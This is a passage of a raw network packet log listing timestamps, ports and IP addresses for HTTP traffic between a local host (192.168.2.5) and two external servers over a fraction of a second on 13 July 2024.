Jul 13, 2024 07:07:05.880264997 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880299091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880300999 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880336046 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880346060 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880371094 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880382061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880424976 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880458117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880475998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880475998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880506039 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880528927 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880563021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880572081 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880599022 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880610943 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880631924 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880644083 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880669117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880676985 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880703926 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880719900 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880861044 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.913758993 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.913805008 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.913820982 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.913846970 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.913862944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.913881063 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.913881063 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.913943052 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.913944960 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.913960934 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.913979053 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914016008 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914016008 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914156914 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914172888 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914187908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914202929 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914217949 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914221048 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914221048 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914232969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914247036 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914247036 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914248943 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914258957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914285898 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914285898 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914381027 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914397001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914439917 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914439917 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914554119 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914570093 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914632082 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914665937 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914681911 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914697886 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914711952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914722919 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914727926 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914742947 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914755106 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914802074 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914825916 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914887905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914941072 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914956093 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.914978027 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.914978027 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.915004015 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.915065050 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.915080070 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.915095091 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.915111065 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.915126085 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.915126085 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.915154934 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.915154934 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.915164948 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.915379047 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.916824102 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.916847944 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.916862011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.916888952 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.916959047 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.916974068 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.916990042 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917005062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917022943 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917022943 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917052984 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917052984 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917076111 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917099953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917172909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917181969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917197943 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917212963 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917227983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917237043 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917237043 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917294025 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917294025 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917320967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917336941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917351961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917365074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917366982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917391062 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917391062 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917433977 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917455912 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917471886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917486906 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917501926 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917516947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917517900 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917553902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917553902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917658091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917675018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917689085 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917723894 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917757034 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917834044 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917850018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917865038 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917881012 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917891026 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917897940 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917912006 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917916059 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.917942047 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917942047 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.917974949 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918034077 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918049097 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918065071 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918077946 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918096066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918132067 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918132067 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918179035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918195009 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918210030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918225050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918235064 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918235064 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918275118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918275118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918436050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918451071 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918466091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918473959 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918481112 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918486118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918488979 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918498993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918514013 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918560028 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918590069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918798923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918812990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918828964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918843985 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918848038 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918859959 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918874979 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918875933 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918909073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918909073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.918941975 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918982983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.918997049 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919014931 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919023037 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919037104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919064999 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919078112 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919091940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919095039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919111967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919128895 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919141054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919141054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919141054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919143915 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919162035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919177055 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919190884 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919193983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919212103 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919213057 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919238091 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919238091 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919295073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919581890 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919599056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919641018 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919641018 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919692993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919718027 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919732094 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919735909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919760942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919770956 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919770956 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919778109 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919795036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919801950 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919811010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919826984 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919828892 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919828892 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919843912 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919853926 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919861078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919868946 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919878006 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919893980 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919897079 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919897079 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919910908 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919919014 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919926882 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.919949055 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919949055 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.919970989 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920140982 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920156956 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920171976 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920195103 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920195103 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920217037 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920217991 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920233011 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920247078 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920273066 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920273066 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920293093 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920294046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920326948 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920334101 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920348883 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920375109 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920423031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920424938 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920439005 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920458078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920470953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920506001 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920517921 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920519114 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920519114 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920574903 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920599937 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920608997 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920617104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920624018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920639038 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920653105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920667887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920681953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920681953 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920700073 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920707941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920716047 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.920732975 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920742035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920742035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920742035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920749903 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920764923 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920767069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.920779943 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920784950 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920784950 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920795918 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.920825958 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.920825958 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921288013 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921303988 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921319008 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921334982 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921344995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921350002 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921365976 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921381950 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921387911 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921387911 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921397924 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921413898 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921423912 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921423912 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921427965 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921443939 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921443939 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921443939 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921458960 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921474934 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921480894 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921490908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921505928 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921519995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921519995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921546936 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921546936 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.921626091 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.921662092 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.924953938 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.924992085 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925008059 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925029993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925054073 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925086975 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925102949 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925123930 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925138950 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925153971 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925158024 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925158024 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925179958 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925246000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925309896 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925326109 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925339937 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925355911 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925370932 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925384045 CEST	58981	80	192.168.2.5	85.28.47.70
